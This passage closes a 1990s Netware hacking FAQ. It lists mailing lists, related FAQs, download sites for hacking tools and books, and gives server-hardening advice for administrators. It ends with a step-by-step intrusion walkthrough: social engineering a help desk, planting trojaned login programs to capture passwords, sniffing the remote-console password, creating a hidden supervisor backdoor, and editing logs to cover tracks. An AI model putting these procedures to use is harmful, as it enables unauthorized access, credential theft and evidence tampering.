  1546. *  CUTCP-L@nstn.ns.ca for a discussion of Charon and CUTCP Telnet issues. Send
  1547. subscription requests to listserv@nstn.ns.ca.
  1548.  
  1549. *  INFO-IBMPC@arl.army.mil - send subscription requests to 
  1550. INFO-IBMPC-REQUEST@arl.army.mil.
  1551.  
  1552. *  PMAIL@ua1vm.ua.edu for discussion of Pegasus Mail. The author, David Harris,
  1553. is active on this list. Send subscription and other administrative requests to
  1554. listserv@ua1vm.ua.edu.
  1555.  
  1556. *  NWP@UEL.AC.UK for programming under Netware. Send subscription requests to
  1557. LISTPROC@UEL.AC.UK.
  1558.  
  1559. *  MSDOS-ANN@tacom-emh1.army.mil for announcements of SimTel uploads. To
  1560. subscribe, send mail to LISTSERV@tacom-emh1.army.mil with the message
  1561. SUBSCRIBE MSDOS-ANN.
  1562.  
  1563. *  Garbo-Ann@Garbo.uwasa.fi for announcements of Garbo uploads. To subscribe,
  1564. send mail to Majordomo@Garbo.uwasa.fi with the message SUBSCRIBE GARBO-ANN
  1565. <firstname> <lastname>.
  1566.  
  1567. *  CICA-L@ubvm.cc.buffalo.edu for announcements of Windows uploads to CICA. To
  1568. subscribe, send mail to Listserv@ubvm.cc.buffalo.edu with the message SUBSCRIBE
  1569. CICA-L <firstname> <lastname>.
  1570.  
  1571. - ---------------------------------------------------------------------------
  1572.  
  1573. 05-6. Where are some other Netware FAQs?
  1574.  
  1575. The old comp.sys.novell (recently deleted) FAQ is available via ftp at 
  1576. ftp.eskimo.com in directory /u/m/mstal. The c.s.n FAQ is csn.faq. The Novell 
  1577. listserv FAQ is faq.txt.  It can be FTP directly from its maintainer at 
  1578. netlab2.usu.edu/misc/faq.txt.
  1579.  
  1580. These are also available at URL http://www.eskimo.com/~mstal. Included is a 
  1581. URL to ftp the latest version of the Novell listserv FAQ, a URL to a web of 
  1582. the Novell listserv FAQ with many of the ftp sites webbed, and a URL to a 
  1583. web of the c.s.n faq, created by David Rawling. The Novell listserv FAQ web 
  1584. URL is http://www.salford.ac.uk/docs/depts/ais/Network/Novell-Faq.html 
  1585. and the c.s.n FAQ web URL is http://www.efs.mq.edu.au/novell/faq/index.html.
  1586.  
  1587. Stanley Toney publishes a bi-weekly Netware Patches and Updates FAQ in 
  1588. comp.os.netware.announce. It is also available at 
  1589. ftp://ftp.nsm.smcm.edu/pub/novell/patchfaq.zip. 
  1590.  
  1591. Floyd Maxwell, fmaxwell@unixg.ubc.ca, keeper of the listserv FAQ, will 
  1592. automatically mail you the FAQ on a regular basis if you request it of him.
  1593.  
  1594. Fauzan Mirza has developed a FAQ for comp.os.netware.security, posting it 
  1595. there once a month. It is also archive at rtfm.mit.edu in the usenet FAQ 
  1596. archive.
  1597.  
  1598. Don't forget the alt.2600/#hack FAQ as a general hacking/phreaking
  1599. resource, available at rtfm.mit.edu among other locations.
  1600.  
  1601. - ---------------------------------------------------------------------------
  1602.  
  1603. 05-7. Where can I get the files mentioned in this FAQ?
  1604.  
  1605. SETPWD.NLM   - ml0.ucs.ed.ac.uk    /guest/pc/novell/nlms   setpwd.zip 
  1606. SETSPWD.NLM  - netlab2.usu.edu     /misc 
  1607. SETSPASS.NLM - netlab2.usu.edu     /misc
  1608. NOVELBFH.EXE - jumper.mcc.ac.uk    /pub/security/netware novelbfh.zip
  1609. KNOCK.EXE    - jumper.mcc.ac.uk    /pub/security/netware    knock.zip
  1610. LOGIN.EXE    - jumper.mcc.ac.uk    /pub/security/netware      nwl.zip
  1611. PROP.EXE     - jumper.mcc.ac.uk    /pub/security/netware      nwl.zip
  1612. CHKNULL.EXE  - ftp.fastlane.net    /pub/nomad/nw             chk0.zip
  1613. USERLST.EXE  - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip
  1614. LASTHOPE.NLM - ml0.ucs.ed.ac.uk    /guest/pc/novell/nlms lasthope.zip
  1615. NW-HACK.EXE  - jumper.mcc.ac.uk    /pub/security/netware  nw-hack.zip
  1616. SUPER.EXE    - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils   super.zip
  1617. CONLOG.NLM   - ml0.ucs.ed.ac.uk    /guest/pc/novell
  1618. X-AWAY.EXE   - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils  x-away.zip
  1619. Bindview     - Your local software dealer
  1620. GRPLIST.EXE  - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip
  1621. GETEQUIV.EXE - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip
  1622. TRSTLIST.EXE - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip
  1623. SECUREFX.NLM - www.novell.com      Search for it in the Tech Section
  1624. RCON.EXE     - ftp.fastlane.net    /pub/nomad/nw             rcon.zip
  1625.  
  1626. - ---------------------------------------------------------------------------
  1627.  
  1628. 05-8. What are some good books for Netware?
  1629.  
  1630. For Netware basics, there are tons. Bill Lawrence has a number of books
  1631. that are easy to read but cover things with enough detail for a good
  1632. understanding. I recommend the latest stuff from him. Look in your local
  1633. bookstore's techie section. The Novell Press books are also good, but you
  1634. tend to pay more for the name.
  1635.  
  1636. For programming:
  1637.  
  1638. Programmer's Guide to Netware -- (1990) Author: Charles G. Rose. Publisher:
  1639. McGraw-Hill, Inc. The bible of Netware programming, dated since Novell has 
  1640. changed virtually every header file, but still the best. Covers 2.x and 3.x
  1641. except for NLM programming. Lots of good source code.
  1642.  
  1643. Netware Programmer's Guide -- (1990) Author: John T. McCann. Publisher: M&T
  1644. Books. Another dated but classic book with lots of good source for learning.
  1645.  
  1646. Novell 4.0 NLM Programming -- (1993) Authors: Michael Day, Michael Koontz,
  1647. Daniel Marshall. Publisher: Sybex, Inc. Not as complete as I would like, but
  1648. I'm picky. Still a classic. Although the title implies 4.x, most of it still
  1649. works for 3.x, too. And if you can't get the kids to sleep, try reading them 
  1650. the tons of useful source code. Jeez, you may have to leave the closet light
  1651. on, though...
  1652.  
  1653. - ---------------------------------------------------------------------------
  1654. - ---------------------------------------------------------------------------
  1655.  
  1656. Section 06
  1657.  
  1658. Netware APIs
  1659.  
  1660. - ---------------------------------------------------------------------------
  1661.  
  1662. 06-1. Where can I get the Netware APIs?
  1663.  
  1664. Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user license
  1665. of Netware 4.1. Most brand-name compilers will work, but if you're writing
  1666. NLMs you'll need Watcom's latest. It's the only one I know of that will do
  1667. NLM linking.
  1668.  
  1669. - ---------------------------------------------------------------------------
  1670.  
  1671. 06-2. Are there alternatives to Netware's APIs?
  1672.  
  1673. There are two that I am aware of. Here is info on them -
  1674.  
  1675. Visual ManageWare by HiTecSoft (602) 970-1025
  1676.  
  1677. This product allows development of NLMs and DOS EXEs using a Visual Basic
  1678. type development environment. Runtime royalty-free development without
  1679. C/C++ and without Watcom. However links are included for C/C++ programs.
  1680. The full SDK including compilers is USD$895.00. Pricey but looks good, I
  1681. have not used this product.
  1682.  
  1683. Here is Teiwaz' edited report on the other -
  1684.  
  1685. Here is another source for 'c' libs for Netware.  He sells both DOS / Windows 
  1686. style libs.  The Small memory model size for DOS, a bit of source is free.  
  1687.  
  1688. FTP
  1689. oak.oakland.edu/SimTel/msdos/c/netclb30.zip
  1690. Public Domain Small Mem Model Lib
  1691.  
  1692. Author
  1693. Adrian Cunnelly - adrian@amcsoft.demon.co.uk
  1694.  
  1695. Price
  1696. the current price in US Dollars is:
  1697.  
  1698. 38  Dollars - All model libraries + windows DLL
  1699. 110 Dollars - Above + Source Code
  1700.  
  1701. - ---------------------------------------------------------------------------
  1702. - ---------------------------------------------------------------------------
  1703.  
  1704. Section 07
  1705.  
  1706. For Administrators Only
  1707.  
  1708. - ---------------------------------------------------------------------------
  1709.  
  1710. 07-1. How do I secure my server?
  1711.  
  1712. This question is asked by administrators, and I'm sure no hackers will read
  1713. this info and learn what you admins might do to thwart hack attacks ;-)
  1714.  
  1715. One thing to keep in mind, most compromises of data occur from an employee
  1716. of the company, not an outside element. They may wish to access sensitive
  1717. personnel files, copy and sell company secrets, be disgruntled and wish to
  1718. cause harm, or break in for kicks or bragging rights. So trust no one.
  1719.  
  1720. Physically Secure The Server -
  1721. - ------------------------------
  1722.  
  1723. This is the simplest one. Keep the server under lock and key. If the server
  1724. is at a site where there is a data center (mainframes, midranges, etc) put it
  1725. in the same room and treat it like the big boxes. Access to the server's room
  1726. should be controlled minimally by key access, preferably by some type of key
  1727. card access which can be tracked. In large shops, a man trap (humanoid that
  1728. guards the room) should be in place.
  1729.  
  1730. If the server has a door with a lock, lock it (some larger servers have this)
  1731. and limit access to the key. This will secure the floppy drive. One paranoid
  1732. site I know of keeps the monitor and CPU behind glass, so that the keyboard
  1733. and floppy drive cannot be accessed by the same person at the same time.
  1734.  
  1735. If you only load NLMs from the SYS:SYSTEM directory, use the SECURE CONSOLE
  1736. command to prevent NLMs being loaded from the floppy or other location.
  1737.  
  1738. A hacker could load a floppy into the drive and run one of several utility
  1739. files to gain access to the server. Or they could steal a backup tape or just
  1740. power off the server! By physically securing the server, you can control who
  1741. has access to the server room, who has access to the floppy drive, backup
  1742. tapes, and the System Console. This step alone will eliminate 75% of attack
  1743. potential.
  1744.  
  1745. Secure Important Files -
  1746. - ------------------------
  1747.  
  1748. These should be stored offline. You should make copies of the STARTUP.NCF and
  1749. AUTOEXEC.NCF files. The bindery or NDS files should be backed up and stored
  1750. offsite. All System Login Scripts, Container Scripts, and any robotic or
  1751. non-human personal Login Scripts should be copied offline. A robotic or
  1752. non-human account would be an account used by an email gateway, backup
  1753. machine, etc.
  1754.  
  1755. Compile a list of NLMs and their version numbers, and a list of files from
  1756. the SYS:LOGIN, SYS:PUBLIC, and SYS:SYSTEM directories.
  1757.  
  1758. You should periodically check these files against the originals to ensure
  1759. none have been altered.
  1760.  
  1761. Replacing the files with different ones (like using itsme's LOGIN.EXE
  1762. instead of Novell's) will give the hacker access to the entire server. It is
  1763. also possible that the hacker will alter .NCF or Login Scripts to bypass
  1764. security or to open holes for later attacks.
  1765.  
  1766. Make a list of Users and their accesses -
  1767. - -----------------------------------------
  1768.  
  1769. Use a tool like Bindview or GRPLIST.EXE from the JRB Utilities to get a list
  1770. of users and groups (including group membership). Once again, keep this
  1771. updated and check it frequently against the actual list.
  1772.  
  1773. Also run Security (from the SYS:SYSTEM directory) or GETEQUIV.EXE from the
  1774. JRB Utilities to determine who has Supervisor access. Look for odd accounts
  1775. with Supervisor access like GUEST or PRINTER.
  1776.  
  1777. It is also a good idea to look at Trustee Assignments and make sure access is
  1778. at a minimum. Check your run from Security to see if access is too great in
  1779. any areas, or run TRSTLIST from the JRB Utilities.
  1780.  
  1781. Security will turn up some odd errors if SUPER.EXE has been run. If you are
  1782. not using SUPER.EXE, delete and rebuild any odd accounts with odd errors
  1783. related to the Bindery, particularly if BINDFIX doesn't fix them yet the
  1784. account seems to work okay. If a hacker put in a backdoor using SUPER.EXE,
  1785. they could get in and perhaps leave other ways in.
  1786.  
  1787. Monitor the Console -
  1788. - ---------------------
  1789.  
  1790. Use the CONLOG.NLM to track the server console activity. This is an excellent
  1791. diagnostic tool since error messages tend to roll off the screen. It will
  1792. not track what was typed in at the console, but the system's responses will
  1793. be put in SYS:ETC\CONSOLE.LOG. When checking the console, hit the up arrow
  1794. to show what commands were last typed in.
  1795.  
  1796. While this won't work in large shops or shops with forgetful users, consider
  1797. using the SECUREFX.NLM (or SECUREFX.VAP for 2.x). This sometimes annoying
  1798. utility displays the following message on the console and to all the users
  1799. after a security breach:
  1800.  
  1801. "Security breach against station <connection number> DETECTED."
  1802.  
  1803. This will also be written to an error log. The following message is also
  1804. written the the log and to the console:
  1805.  
  1806. "Connection TERMINATED to prevent security compromise"
  1807.  
  1808. Turn on Accounting -
  1809. - --------------------
  1810.  
  1811. Once Accounting is turned on, you can track every login and logout to the
  1812. server, including failed attempts.
  1813.  
  1814. Don't Use the Supervisor Account -
  1815. - ----------------------------------
  1816.  
  1817. Leaving the Supervisor logged in is an invitation to disaster. If packet
  1818. signature is not being used, someone could use HACK.EXE and gain access to the
  1819. server as Supervisor. HACK spoofs packets to make them look like they came from
  1820. the Supervisor to add Supe equivalence to other users.
  1821.  
  1822. Also, it implies a machine is logged in somewhere as Supervisor, if it has been
  1823. logged in for more than 8 hours chances are it may be unattended.
  1824.  
  1825. Use Packet Signature -
  1826. - ----------------------
  1827.  
  1828. To prevent packet spoofing (i.e. HACK.EXE) enforce packet signature. Add the
  1829. following line to your AUTOEXEC.NCF -
  1830.  
  1831. SET NCP PACKET SIGNATURE OPTION=3
  1832.  
  1833. This forces packet signature to be used. Clients that do not support packet
  1834. signature will not be able to access, so they will need to be upgraded if you
  1835. have any of these clients.
  1836.  
  1837. Use RCONSOLE Sparingly (or not at all) -
  1838. - ----------------------------------------
  1839.  
  1840. When using RCONSOLE you are subject to a packet sniffer getting the packets
  1841. and getting the password. While this is normally above the average user's
  1842. expertise, DOS-based programs that put the network interface card into 
  1843. promiscuous mode and capture every packet on the wire are readily available
  1844. on the Internet. The encryption method is not foolproof.
  1845.  
  1846. Remember you cannot "detect" a sniffer in use on the wire.
  1847.  
  1848. Do NOT use a switch to limit the RCONSOLE password to just the Supervisor
  1849. password. All you have done is set the password equal to the switch. If
  1850. you use the line "LOAD REMOTE /P=", Supervisor's password will get in (it
  1851. ALWAYS does) and the RCONSOLE password is now "/P=". Since the RCONSOLE
  1852. password will be in plain text in the AUTOEXEC.NCF file, to help secure
  1853. it try adding a non-printing character or a space to the end of the 
  1854. password.
  1855.  
  1856. And while you can use the encryption techniques outlined in 02-8, your
  1857. server is still vulnerable to sniffing the password.
  1858.  
  1859. Move all .NCF files to a more secure location (3.x and above) -
  1860. - ---------------------------------------------------------------
  1861.  
  1862. Put your AUTOEXEC.NCF file in the same location as the SERVER.EXE file. If a
  1863. server is compromised in that access to the SYS:SYSTEM directory is available
  1864. to an unauthorized user, you will at least have protected the AUTOEXEC.NCF
  1865. file. 
  1866.  
  1867. A simple trick you can do is "bait" a potential hacker by keeping a false
  1868. AUTOEXEC.NCF file in the SYS:SYSTEM with a false RCONSOLE password (among
  1869. other things). 
  1870.  
  1871. All other .NCF files should be moved to the C: drive as well. Remember, the
  1872. .NCF file runs as if the commands it contains are typed from the console,
  1873. making their security most important.
  1874.  
  1875. Use the Lock File Server Console option in Monitor (3.x and above) -
  1876. - --------------------------------------------------------------------
  1877.  
  1878. Even if the RCONSOLE password is discovered, the Supe password is discovered,
  1879. or physical access is gained, a hard to guess password on the console will
  1880. stop someone from accessing the console.
  1881.  
  1882. Add EXIT to the end of the System Login Script -
  1883. - ------------------------------------------------
  1884.  
  1885. By adding the EXIT command as the last line in the System Login Script,
  1886. you can control to a degree what the user is doing. This eliminates the
  1887. potential for personal Login Script attacks, as described in section 03-6.
  1888.  
  1889. Upgrade to Netware 4.1 -
  1890. - ------------------------
  1891.  
  1892. Besides making a ton of Novell sales and marketing people very happy, you
  1893. will defeat most of the techniques described in this faq. Most well-known
  1894. hacks are for 3.11. If you don't want to make the leap to NDS and 4.1, at
  1895. least get current and go to 3.12.
  1896.  
  1897. - ---------------------------------------------------------------------------
  1898.  
  1899. 07-2. I'm an idiot. Exactly how do hackers get in?
  1900.  
  1901. We will use this section as an illustrated example of how these techniques can
  1902. be used in concert to gain Supe access on the target server. These techniques
  1903. show the other thing that really helps in Netware hacking - a little social 
  1904. engineering.
  1905.  
  1906. Exploitation #1
  1907. - ---------------
  1908.  
  1909. Assume tech support people are dialing in for after hours support. Call up and 
  1910. pose as a vendor of security products and ask for tech support person. Called 
  1911. this person posing as a local company looking for references, ask about remote 
  1912. dial-in products. Call operator of company and ask for help desk number. Call
  1913. help desk after hours and ask for dial-in number, posing as the tech support 
  1914. person. Explain home machine has crashed and you've lost number.
  1915.  
  1916. Dial in using the proper remote software and try simple logins and passwords for
  1917. dial-in software if required. If you can't get in call help desk especially if
  1918. others such as end users use dial-in.
  1919.  
  1920. Upload alternate LOGIN.EXE and PROP.EXE, and edit AUTOEXEC.BAT to run the 
  1921. alternate LOGIN.EXE locally. Rename PROP.EXE to IBMNBIO.COM and make it hidden. 
  1922. Before editing AUTOEXEC.BAT change the date and time of the PC so that the date/time stamp reflects the original before the edit.
  1923.  
  1924. Dial back in later, rename PROP.EXE and run it to get Accounts and passwords.
  1925.  
  1926. Summary - Any keystroke capture program could produce the same results as the 
  1927. alternate LOGIN.EXE and PROP.EXE, but you end up with a Supe equivalent account.
  1928.  
  1929. Exploitation #2
  1930. - ---------------
  1931.  
  1932. Load a DOS-based packet sniffer, call the sys admin and report a FATAL
  1933. DIRECTORY ERROR when trying to access the server. He predictively will use 
  1934. RCONSOLE to look at the server and his packet conversation can be captured. He 
  1935. will find nothing wrong (of course).
  1936.  
  1937. Study the capture and use the RCON.FAQ to obtain the RCONSOLE password. Log in 
  1938. as GUEST, create a SYSTEM subdirectory in the home directory (or any directory 
  1939. on SYS:). Root map a drive to the new SYSTEM, copy RCONSOLE.* to it, and run
  1940. RCONSOLE. Once in try to unload CONLOG and upload BURGLAR.NLM to the real 
  1941. SYS:SYSTEM. Created a Supe user (i.e. NEWUSER) and then typed CLS to clear the 
  1942. server console screen. 
  1943.  
  1944. Log in as NEWUSER. Erase BURGLAR.NLM, new SYSTEM directory and its contents.
  1945. Run PURGE in those directories. Turn off Accounting if on. Give GUEST Supe 
  1946. rights. Set toggle with SUPER.EXE for NEWUSER. Run FILER and note SYS:ETC\CONSOLE.LOG (if CONLOG was loaded) owner and create date, as well as
  1947. SYS:SYSTEM\SYS$ERR.LOG owner and create date. Edit SYS:ETC\CONSOLE.LOG and 
  1948. remove BURGLAR.NLM activity, including RCONSOLE activity. Edit and remove
  1949. RCONSOLE activity from SYS:SYSTEM\SYS$ERR.LOG as well. After saving files,
  1950. run FILER and restore owner and dates if needed. Run PURGE in their directories.
  1951. Logout and login as GUEST and set SUPER.EXE toggle. Remove NEWUSER Supe rights
  1952. and logout. Login as NEWUSER with SUPER.EXE and remove GUEST Supe rights.
  1953. Finally logout and login as GUEST with SUPER.EXE and turn on Accounting if it
  1954. was on. 
  1955.  
  1956. Summary - You have created a backdoor into the system that will not show up as
  1957. somthing unusual in the Accounting log. Login as GUEST using SUPER.EXE and turn 
  1958. off Accounting. Logout and back in as NEWUSER with SUPER.EXE, do what you
  1959. need to do (covering file alterations with Filer), and logout. Log back in as 
  1960. GUEST and turn on Accounting. The NET$ACCT.DAT file shows only GUEST logging in 
  1961. followed by GUEST logging out. 
  1962.  
  1963. - ---------------------------------------------------------------------------
  1964.  
  1965. -----BEGIN PGP SIGNATURE-----
  1966. Version: 2.6.2
  1967.  
  1968. iQCVAwUBMIXMjQcjhgp+C2udAQE0twQAk4SL0TeCCDLRAWgMwletBhXNYwGGxeaw
  1969. 7FpQjgVJfzuYBZtWM4QYNVWiI6kmmsZnRkDBsVU8HSp5P22pL2ghNZ4Dtx7+tKil
  1970. 3ie0AFVl8o88s99NO1jmghJaeR+rcN/dcJGvgOIUHmhcg2iDXop7QM5h/PfhrjUQ
  1971. Q+0KAXWqfOg=
  1972. =BIdv
  1973. -----END PGP SIGNATURE-----
  1974.